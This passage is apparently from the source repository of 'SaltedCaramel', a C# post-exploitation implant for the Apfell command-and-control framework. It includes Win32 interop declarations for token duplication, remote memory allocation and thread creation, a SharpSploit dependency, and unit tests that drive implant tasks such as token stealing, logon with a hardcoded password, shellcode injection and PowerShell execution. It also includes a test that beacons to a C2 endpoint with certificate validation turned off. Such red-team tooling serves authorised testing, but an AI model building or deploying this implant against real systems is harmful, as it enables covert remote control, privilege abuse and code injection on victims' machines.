53 | 54 | internal enum TOKEN_TYPE 55 | { 56 | TokenPrimary = 1, 57 | TokenImpersonation 58 | } 59 | 60 | internal enum TOKEN_INFORMATION_CLASS 61 | { 62 | TokenUser, 63 | TokenGroups, 64 | TokenPrivileges, 65 | TokenOwner, 66 | TokenPrimaryGroup, 67 | TokenDefaultDacl, 68 | TokenSource, 69 | TokenType, 70 | TokenImpersonationLevel, 71 | TokenStatistics, 72 | TokenRestrictedSids, 73 | TokenSessionId, 74 | TokenGroupsAndPrivileges, 75 | TokenSessionReference, 76 | TokenSandBoxInert, 77 | TokenAuditPolicy, 78 | TokenOrigin, 79 | TokenElevationType, 80 | TokenLinkedToken, 81 | TokenElevation, 82 | TokenHasRestrictions, 83 | TokenAccessInformation, 84 | TokenVirtualizationAllowed, 85 | TokenVirtualizationEnabled, 86 | TokenIntegrityLevel, 87 | TokenUIAccess, 88 | TokenMandatoryPolicy, 89 | TokenLogonSid, 90 | TokenIsAppContainer, 91 | TokenCapabilities, 92 | TokenAppContainerSid, 93 | TokenAppContainerNumber, 94 | TokenUserClaimAttributes, 95 | TokenDeviceClaimAttributes, 96 | TokenRestrictedUserClaimAttributes, 97 | TokenRestrictedDeviceClaimAttributes, 98 | TokenDeviceGroups, 99 | TokenRestrictedDeviceGroups, 100 | TokenSecurityAttributes, 101 | TokenIsRestricted, 102 | TokenProcessTrustLevel, 103 | TokenPrivateNameSpace, 104 | TokenSingletonAttributes, 105 | TokenBnoIsolation, 106 | TokenChildProcessFlags, 107 | MaxTokenInfoClass, 108 | TokenIsLessPrivilegedAppContainer, 109 | TokenIsSandboxed, 110 | TokenOriginatingProcessTrustLevel 111 | } 112 | 113 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 114 | internal static extern bool CreateProcessWithLogonW( 115 | string lpUsername, 116 | string lpDomain, 117 | string lpPassword, 118 | uint dwLogonFlags, 119 | string lpApplicationName, 120 | string lpCommandLine, 121 | IntPtr dwCreationFlags, 122 | IntPtr lpEnvironment, 123 | string lpCurrentDirectory, 124 | [In] ref STARTUPINFO lpStartupInfo, 125 | out PROCESS_INFORMATION lpProcessInformation); 126 | 127 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 128 | internal static extern bool CreateProcessWithTokenW( 129 | IntPtr hToken, 130 | IntPtr dwLogonFlags, 131 | string lpApplicationName, 132 | string lpCommandLine, 133 | IntPtr dwCreationFlags, 134 | IntPtr lpEnvironment, 135 | string lpCurrentDirectory, 136 | [In] ref STARTUPINFO lpStartupInfo, 137 | out PROCESS_INFORMATION lpProcessInformation); 138 | 139 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] 140 | internal extern static bool DuplicateTokenEx( 141 | IntPtr hExistingToken, 142 | uint dwDesiredAccess, 143 | IntPtr lpTokenAttributes, 144 | uint ImpersonationLevel, 145 | TOKEN_TYPE TokenType, 146 | out IntPtr phNewToken); 147 | 148 | [DllImport("Advapi32.dll", SetLastError = true)] 149 | public extern static bool GetTokenInformation( 150 | IntPtr TokenHandle, 151 | TOKEN_INFORMATION_CLASS TokenInformationClass, 152 | IntPtr TokenInformation, 153 | uint TokenInformationLength, 154 | out uint ReturnLength); 155 | 156 | [DllImport("advapi32.dll", SetLastError = true)] 157 | [return: MarshalAs(UnmanagedType.Bool)] 158 | internal static extern bool OpenProcessToken( 159 | IntPtr ProcessHandle, 160 | uint desiredAccess, 161 | out IntPtr TokenHandle); 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /SaltedCaramel/Win32/kernel32.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SaltedCaramel.Win32 5 | { 6 | internal class Kernel32 7 | { 8 | [Flags] 9 | internal enum AllocationType 10 | { 11 | Commit = 0x1000, 12 | Reserve = 0x2000, 13 | Decommit = 0x4000, 14 | Release = 0x8000, 15 | Reset = 0x80000, 16 | Physical = 0x400000, 17 | TopDown = 0x100000, 18 | WriteWatch = 0x200000, 19 | LargePages = 0x20000000 20 | } 21 | 22 | [Flags] 23 | internal enum MemoryProtection 24 | { 25 | Execute = 0x10, 26 | ExecuteRead = 0x20, 27 | ExecuteReadWrite = 0x40, 28 | ExecuteWriteCopy = 0x80, 29 | NoAccess = 0x01, 30 | ReadOnly = 0x02, 31 | ReadWrite = 0x04, 32 | WriteCopy = 0x08, 33 | GuardModifierflag = 0x100, 34 | NoCacheModifierflag = 0x200, 35 | WriteCombineModifierflag = 0x400 36 | } 37 | 38 | [DllImport("kernel32.dll", SetLastError = true)] 39 | internal static extern bool CloseHandle(IntPtr hObject); 40 | 41 | [DllImport("kernel32.dll")] 42 | internal static extern IntPtr CreateThread( 43 | uint ThreadAttributes, 44 | uint StackSize, 45 | IntPtr StartFunction, 46 | IntPtr ThreadParameter, 47 | uint CreationFlags, 48 | ref uint ThreadId); 49 | 50 | [DllImport("kernel32.dll")] 51 | internal static extern int GetProcessId(IntPtr handle); 52 | 53 | [DllImport("kernel32.dll", SetLastError = true)] 54 | internal static extern bool IsWow64Process( 55 | IntPtr hProcess, 56 | out bool Wow64Process ); 57 | 58 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 59 | internal static extern IntPtr VirtualAlloc( 60 | IntPtr lpAddress, 61 | ulong dwSize, 62 | AllocationType flAllocationType, 63 | MemoryProtection flProtect); 64 | 65 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 66 | internal static extern IntPtr VirtualAllocEx( 67 | IntPtr hProcess, 68 | IntPtr lpAddress, 69 | IntPtr dwSize, 70 | AllocationType flAllocationType, 71 | MemoryProtection flProtect); 72 | 73 | [DllImport("kernel32.dll", SetLastError = true)] 74 | internal static extern IntPtr WaitForSingleObject( 75 | IntPtr hHandle, 76 | UInt32 dwMilliseconds); 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /SaltedCaramel/Win32/ntdll.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace SaltedCaramel.Win32 5 | { 6 | internal class Ntdll 7 | { 8 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 9 | internal struct PROCESS_BASIC_INFORMATION 10 | { 11 | internal IntPtr ExitStatus; 12 | internal IntPtr PebBaseAddress; 13 | internal IntPtr AffinityMask; 14 | internal IntPtr BasePriority; 15 | internal UIntPtr UniqueProcessId; 16 | internal IntPtr InheritedFromUniqueProcessId; 17 | } 18 | 19 | [DllImport("ntdll.dll")] 20 | internal static extern int NtQueryInformationProcess( 21 | IntPtr processHandle, 22 | int processInformationClass, 23 | ref PROCESS_BASIC_INFORMATION ProcessBasicInfo, 24 | int processInformationLength, 25 | out int returnLength 26 | ); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /SaltedCaramel/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SaltedCaramel/libs/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/001SPARTaN/SaltedCaramel/b609d29f51dac19d94356751edc6d8764b6e490d/SaltedCaramel/libs/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /SaltedCaramel/libs/SharpSploit.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/001SPARTaN/SaltedCaramel/b609d29f51dac19d94356751edc6d8764b6e490d/SaltedCaramel/libs/SharpSploit.dll -------------------------------------------------------------------------------- /SaltedCaramelTests/DispatchTaskTests.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.VisualStudio.TestTools.UnitTesting; 2 | using System; 3 | using System.Diagnostics; 4 | 5 | namespace SaltedCaramel.Tests 6 | { 7 | [TestClass()] 8 | public class DispatchTaskTests 9 | { 10 | SCImplant implant = new SCImplant(); 11 | [TestMethod()] 12 | public void TaskChangeDirValid() 13 | { 14 | SCTask task = new SCTask("cd", "C:\\Temp", "1"); 15 | task.DispatchTask(implant); 16 | Assert.AreEqual(task.status, "complete"); 17 | } 18 | [TestMethod()] 19 | public void TaskChangeDirInvalid() 20 | { 21 | SCTask task = new SCTask("cd", "C:\\asdf", "1"); 22 | task.DispatchTask(implant); 23 | Assert.AreEqual(task.status, "error"); 24 | } 25 | [TestMethod()] 26 | public void DirectoryListValid() 27 | { 28 | SCTask task = new SCTask("ls", "C:\\Temp", "1"); 29 | task.DispatchTask(implant); 30 | Assert.AreEqual(task.status, "complete"); 31 | Assert.IsNotNull(task.message); 32 | } 33 | [TestMethod()] 34 | public void DirectoryListInvalid() 35 | { 36 | SCTask task = new SCTask("ls", "C:\\asdf", "1"); 37 | task.DispatchTask(implant); 38 | Assert.AreEqual(task.status, "error"); 39 | Assert.IsNotNull(task.message); 40 | } 41 | [TestMethod()] 42 | public void KillValid() 43 | { 44 | Process proc = new Process(); 45 | ProcessStartInfo si = new ProcessStartInfo(); 46 | si.FileName = "C:\\Windows\\System32\\notepad.exe"; 47 | proc.StartInfo = si; 48 | proc.Start(); 49 | SCTask task = new SCTask("kill", proc.Id.ToString(), "1"); 50 | task.DispatchTask(implant); 51 | Assert.AreEqual(task.status, "complete"); 52 | Assert.IsNotNull(task.message); 53 | } 54 | [TestMethod()] 55 | public void KillInvalid() 56 | { 57 | SCTask task = new SCTask("kill", "1234567", "1"); 58 | task.DispatchTask(implant); 59 | Assert.AreEqual(task.status, "error"); 60 | Assert.IsNotNull(task.message); 61 | } 62 | [TestMethod()] 63 | public void PowerShellValid() 64 | { 65 | SCTask task = new SCTask("powershell", "Get-Process", "1"); 66 | task.DispatchTask(implant); 67 | Assert.AreEqual(task.status, "complete"); 68 | Assert.IsNotNull(task.message); 69 | } 70 | [TestMethod()] 71 | public void ProcValid() 72 | { 73 | SCTask task = new SCTask("run", "whoami", "1"); 74 | task.DispatchTask(implant); 75 | Assert.AreEqual(task.status, "complete"); 76 | Assert.IsNotNull(task.message); 77 | } 78 | [TestMethod()] 79 | public void ProcInvalid() 80 | { 81 | SCTask task = new SCTask("run", "asdf", "1"); 82 | task.DispatchTask(implant); 83 | Assert.AreEqual(task.status, "error"); 84 | Assert.IsNotNull(task.message); 85 | } 86 | [TestMethod()] 87 | public void ProcWithTokenValid() 88 | { 89 | SCTask task = new SCTask("steal_token", "", "1"); 90 | task.DispatchTask(implant); 91 | 92 | task.command = "run"; 93 | task.@params = "whoami /priv"; 94 | task.status = ""; 95 | task.message = ""; 96 | task.DispatchTask(implant); 97 | Assert.AreEqual(task.status, "complete"); 98 | Assert.IsNotNull(task.message); 99 | Assert.IsTrue(task.message.Contains("Privilege")); 100 | Tasks.Token.stolenHandle = IntPtr.Zero; 101 | } 102 | [TestMethod()] 103 | public void ProcWithTokenInvalid() 104 | { 105 | SCTask task = new SCTask("steal_token", "", "1"); 106 | task.DispatchTask(implant); 107 | 108 | task.command = "run"; 109 | task.@params = "asdf"; 110 | task.status = ""; 111 | task.message = ""; 112 | task.DispatchTask(implant); 113 | Assert.AreEqual(task.status, "error"); 114 | Assert.IsNotNull(task.message); 115 | Assert.IsTrue(task.message.Contains("2")); 116 | Tasks.Token.stolenHandle = IntPtr.Zero; 117 | } 118 | [TestMethod()] 119 | public void ProcessList() 120 | { 121 | SCTask task = new SCTask("ps", "", "1"); 122 | task.DispatchTask(implant); 123 | Assert.AreEqual(task.status, "complete"); 124 | Assert.IsNotNull(task.message); 125 | Assert.IsTrue(task.message.Contains("explorer")); 126 | } 127 | // Relies on being able to communicate with Apfell server 128 | //[TestMethod()] 129 | //public void ScreenCapture() 130 | //{ 131 | // SCTask task = new SCTask("screencapture", "", "1"); 132 | // task.DispatchTask(implant); 133 | // Assert.AreEqual(task.status, "complete"); 134 | //} 135 | [TestMethod()] 136 | public void TokenWinlogon() 137 | { 138 | SCTask task = new SCTask("steal_token", "", "1"); 139 | task.DispatchTask(implant); 140 | Assert.AreEqual(task.status, "complete"); 141 | } 142 | [TestMethod()] 143 | public void TokenInvalid() 144 | { 145 | SCTask task = new SCTask("steal_token", "12351", "1"); 146 | task.DispatchTask(implant); 147 | Assert.AreEqual(task.status, "error"); 148 | } 149 | [TestMethod()] 150 | public void Shellcode() 151 | { 152 | SCTask task = new SCTask("shinject", "", "1"); 153 | task.DispatchTask(implant); 154 | Assert.AreEqual(task.status, "complete"); 155 | } 156 | } 157 | } -------------------------------------------------------------------------------- /SaltedCaramelTests/ImplantTests.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.VisualStudio.TestTools.UnitTesting; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Diagnostics; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Net.Sockets; 8 | using System.Threading; 9 | 10 | namespace SaltedCaramel.Tests 11 | { 12 | [TestClass()] 13 | public class ImplantTests 14 | { 15 | SCImplant implant; 16 | 17 | [TestMethod()] 18 | public void InitializeImplantValid() 19 | { 20 | // Necessary to disable certificate validation 21 | ServicePointManager.ServerCertificateValidationCallback = 22 | delegate { return true; }; 23 | 24 | 25 | implant = new SCImplant 26 | { 27 | uuid = "3915d66f-e9a5-4912-8442-910e0cee74df", 28 | endpoint = "https://192.168.38.192/api/v1.3/", 29 | host = Dns.GetHostName(), 30 | ip = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface 31 | .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(), 32 | domain = Environment.UserDomainName, 33 | os = Environment.OSVersion.VersionString, 34 | architecture = "x64", 35 | pid = Process.GetCurrentProcess().Id, 36 | sleep = 5000, 37 | user = Environment.UserName, 38 | }; 39 | 40 | HTTP.crypto.PSK = Convert.FromBase64String("CqxQlHyWOSWJprgBA6aiKPP94lCSn8+Ki+gpMVdLNgQ="); 41 | 42 | Assert.IsTrue(implant.InitializeImplant()); 43 | } 44 | 45 | [TestMethod()] 46 | public void InitializeImplantInvalidUUID() 47 | { 48 | // Necessary to disable certificate validation 49 | ServicePointManager.ServerCertificateValidationCallback = 50 | delegate { return true; }; 51 | 52 | SCImplant invalidImplant = new SCImplant 53 | { 54 | uuid = "asdf", 55 | endpoint = "https://192.168.38.192/api/v1.3/", 56 | host = Dns.GetHostName(), 57 | ip = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface 58 | .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(), 59 | domain = Environment.UserDomainName, 60 | os = Environment.OSVersion.VersionString, 61 | architecture = "x64", 62 | pid = Process.GetCurrentProcess().Id, 63 | sleep = 5000, 64 | user = Environment.UserName 65 | }; 66 | 67 | Assert.IsFalse(invalidImplant.InitializeImplant()); 68 | } 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /SaltedCaramelTests/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SaltedCaramelTests")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SaltedCaramelTests")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("809ed12f-0cd3-4f67-82d1-26457773ebc3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SaltedCaramelTests/SaltedCaramelTests.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {809ED12F-0CD3-4F67-82D1-26457773EBC3} 8 | Library 9 | Properties 10 | SaltedCaramelTests 11 | SaltedCaramelTests 12 | v4.5 13 | 512 14 | {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} 15 | 10.0 16 | $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion) 17 | $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages 18 | False 19 | UnitTest 20 | 21 | 22 | 23 | 24 | true 25 | full 26 | false 27 | bin\Debug\ 28 | DEBUG;TRACE 29 | prompt 30 | 4 31 | 32 | 33 | pdbonly 34 | true 35 | bin\Release\ 36 | TRACE 37 | prompt 38 | 4 39 | 40 | 41 | true 42 | bin\x64\Debug\ 43 | DEBUG;TRACE 44 | full 45 | x64 46 | 7.3 47 | prompt 48 | MinimumRecommendedRules.ruleset 49 | 50 | 51 | bin\x64\Release\ 52 | TRACE 53 | true 54 | pdbonly 55 | x64 56 | 7.3 57 | prompt 58 | MinimumRecommendedRules.ruleset 59 | 60 | 61 | 62 | ..\packages\MSTest.TestFramework.2.0.0\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.dll 63 | 64 | 65 | ..\packages\MSTest.TestFramework.2.0.0\lib\net45\Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.dll 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | {d14e4a53-b9b5-4563-8290-ba8487575255} 89 | SaltedCaramel 90 | 91 | 92 | 93 | 94 | 95 | 96 | False 97 | 98 | 99 | False 100 | 101 | 102 | False 103 | 104 | 105 | False 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 115 | 116 | 117 | 118 | 119 | 120 | 127 | -------------------------------------------------------------------------------- /SaltedCaramelTests/TaskTests.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.VisualStudio.TestTools.UnitTesting; 2 | using System; 3 | using System.Diagnostics; 4 | 5 | namespace SaltedCaramel.Tests 6 | { 7 | [TestClass()] 8 | public class TaskTests 9 | { 10 | SCImplant implant = new SCImplant(); 11 | [TestMethod()] 12 | public void TaskChangeDirValid() 13 | { 14 | SCTask task = new SCTask("cd", "C:\\Temp", "1"); 15 | Tasks.ChangeDir.Execute(task); 16 | Assert.AreEqual("complete", task.status); 17 | } 18 | 19 | [TestMethod()] 20 | public void TaskChangeDirInvalid() 21 | { 22 | SCTask task = new SCTask("cd", "C:\\asdf", "1"); 23 | Tasks.ChangeDir.Execute(task); 24 | Assert.AreEqual("error", task.status); 25 | } 26 | 27 | [TestMethod()] 28 | public void DirectoryListValid() 29 | { 30 | SCTask task = new SCTask("ls", "C:\\Temp", "1"); 31 | Tasks.DirectoryList.Execute(task, implant); 32 | Assert.AreEqual("complete", task.status); 33 | Assert.IsNotNull(task.message); 34 | } 35 | 36 | [TestMethod()] 37 | public void DirectoryListInvalid() 38 | { 39 | SCTask task = new SCTask("ls", "C:\\asdf", "1"); 40 | Tasks.DirectoryList.Execute(task, implant); 41 | Assert.AreEqual("error", task.status); 42 | Assert.IsNotNull(task.message); 43 | } 44 | 45 | [TestMethod()] 46 | public void KillValid() 47 | { 48 | Process proc = new Process(); 49 | ProcessStartInfo si = new ProcessStartInfo(); 50 | si.FileName = "C:\\Windows\\System32\\notepad.exe"; 51 | proc.StartInfo = si; 52 | proc.Start(); 53 | SCTask task = new SCTask("kill", proc.Id.ToString(), "1"); 54 | Tasks.Kill.Execute(task); 55 | Assert.AreEqual("complete", task.status); 56 | Assert.IsNotNull(task.message); 57 | } 58 | 59 | [TestMethod()] 60 | public void KillInvalid() 61 | { 62 | SCTask task = new SCTask("kill", "1234567", "1"); 63 | Tasks.Kill.Execute(task); 64 | Assert.AreEqual("error", task.status); 65 | Assert.IsNotNull(task.message); 66 | } 67 | 68 | [TestMethod()] 69 | public void PowerShellValid() 70 | { 71 | SCTask task = new SCTask("powershell", "Get-Process", "1"); 72 | Tasks.Powershell.Execute(task); 73 | Assert.AreEqual("complete", task.status); 74 | Assert.IsNotNull(task.message); 75 | } 76 | 77 | [TestMethod()] 78 | public void ProcValid() 79 | { 80 | Tasks.Token.stolenHandle = IntPtr.Zero; 81 | SCTask task = new SCTask("run", "whoami /priv", "1"); 82 | Tasks.Proc.Execute(task, implant); 83 | Assert.AreEqual("complete", task.status); 84 | Assert.IsNotNull(task.message); 85 | } 86 | 87 | [TestMethod()] 88 | public void ProcInvalid() 89 | { 90 | Tasks.Token.stolenHandle = IntPtr.Zero; 91 | SCTask task = new SCTask("run", "asdf", "1"); 92 | Tasks.Proc.Execute(task, implant); 93 | Assert.AreEqual("error", task.status); 94 | Assert.IsNotNull(task.message); 95 | } 96 | 97 | [TestMethod()] 98 | public void ProcWithCredsValid() 99 | { 100 | Tasks.Token.Revert(); 101 | SCTask task = new SCTask("make_token", "lowpriv Passw0rd!", "1"); 102 | task.DispatchTask(implant); 103 | 104 | task.command = "run"; 105 | task.@params = "whoami /priv"; 106 | task.status = ""; 107 | task.message = ""; 108 | Tasks.Proc.Execute(task, implant); 109 | Assert.AreEqual("complete", task.status); 110 | Assert.IsNotNull(task.message); 111 | Assert.IsTrue(task.message.Contains("Privilege") || task.message.Contains("Execution")); 112 | Tasks.Token.Revert(); 113 | } 114 | 115 | [TestMethod()] 116 | public void ProcWithLogonValid() 117 | { 118 | Tasks.Token.Revert(); 119 | SCTask task = new SCTask("make_token", "lowpriv Passw0rd! netonly", "1"); 120 | task.DispatchTask(implant); 121 | 122 | task.command = "run"; 123 | task.@params = "whoami /priv"; 124 | task.status = ""; 125 | task.message = ""; 126 | Tasks.Proc.Execute(task, implant); 127 | Assert.AreEqual("complete", task.status); 128 | Assert.IsNotNull(task.message); 129 | Assert.IsTrue(task.message.Contains("Privilege") || task.message.Contains("Execution")); 130 | Tasks.Token.Revert(); 131 | } 132 | 133 | [TestMethod()] 134 | public void ProcWithCredsInvalid() 135 | { 136 | Tasks.Token.Revert(); 137 | SCTask task = new SCTask("make_token", "lowpriv Passw0rd!", "1"); 138 | task.DispatchTask(implant); 139 | 140 | task.command = "run"; 141 | task.@params = "asdf"; 142 | task.status = ""; 143 | task.message = ""; 144 | Tasks.Proc.Execute(task, implant); 145 | Assert.AreEqual("error", task.status); 146 | Assert.IsNotNull(task.message); 147 | Assert.IsTrue(task.message.Contains("specified")); 148 | Tasks.Token.Revert(); 149 | } 150 | 151 | [TestMethod()] 152 | public void ProcWithTokenValid() 153 | { 154 | Tasks.Token.Revert(); 155 | SCTask task = new SCTask("steal_token", "", "1"); 156 | task.DispatchTask(implant); 157 | 158 | task.command = "run"; 159 | task.@params = "whoami /priv"; 160 | task.status = ""; 161 | task.message = ""; 162 | Tasks.Proc.Execute(task, implant); 163 | Assert.AreEqual("complete", task.status); 164 | Assert.IsNotNull(task.message); 165 | Assert.IsTrue(task.message.Contains("Privilege") || task.message.Contains("Execution")); 166 | Tasks.Token.Revert(); 167 | } 168 | 169 | [TestMethod()] 170 | public void ProcWithTokenInvalid() 171 | { 172 | Tasks.Token.Revert(); 173 | SCTask task = new SCTask("steal_token", "", "1"); 174 | task.DispatchTask(implant); 175 | 176 | task.command = "run"; 177 | task.@params = "asdf"; 178 | task.status = ""; 179 | task.message = ""; 180 | Tasks.Proc.Execute(task, implant); 181 | Assert.AreEqual("error", task.status); 182 | Assert.IsNotNull(task.message); 183 | Assert.IsTrue(task.message.Contains("2")); 184 | Tasks.Token.Revert(); 185 | } 186 | 187 | [TestMethod()] 188 | public void ProcessList() 189 | { 190 | SCTask task = new SCTask("ps", "", "1"); 191 | Tasks.ProcessList.Execute(task); 192 | Assert.AreEqual("complete", task.status); 193 | Assert.IsNotNull(task.message); 194 | Assert.IsTrue(task.message.Contains("explorer")); 195 | } 196 | 197 | // Relies on being able to communicate with Apfell server 198 | //[TestMethod()] 199 | //public void ScreenCapture() 200 | //{ 201 | // SCTask task = new SCTask("screencapture", "", "1"); 202 | // task.DispatchTask(implant); 203 | // Assert.AreEqual(task.status, "complete"); 204 | //} 205 | 206 | [TestMethod()] 207 | public void TokenWinlogon() 208 | { 209 | SCTask task = new SCTask("steal_token", "", "1"); 210 | Tasks.Token.Execute(task); 211 | Assert.AreEqual("complete", task.status); 212 | Tasks.Token.Revert(); 213 | } 214 | 215 | [TestMethod()] 216 | public void TokenInvalid() 217 | { 218 | SCTask task = new SCTask("steal_token", "12351", "1"); 219 | Tasks.Token.Execute(task); 220 | Assert.AreEqual("error", task.status); 221 | Tasks.Token.Revert(); 222 | } 223 | 224 | // Does not get a result for some reason 225 | //[TestMethod()] 226 | //public void Shellcode() 227 | //{ 228 | // SCTask task = new SCTask("shinject", "", "1"); 229 | // Tasks.Shellcode.Execute(task); 230 | // Assert.AreEqual("complete", task.status); 231 | //} 232 | } 233 | } -------------------------------------------------------------------------------- /SaltedCaramelTests/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | --------------------------------------------------------------------------------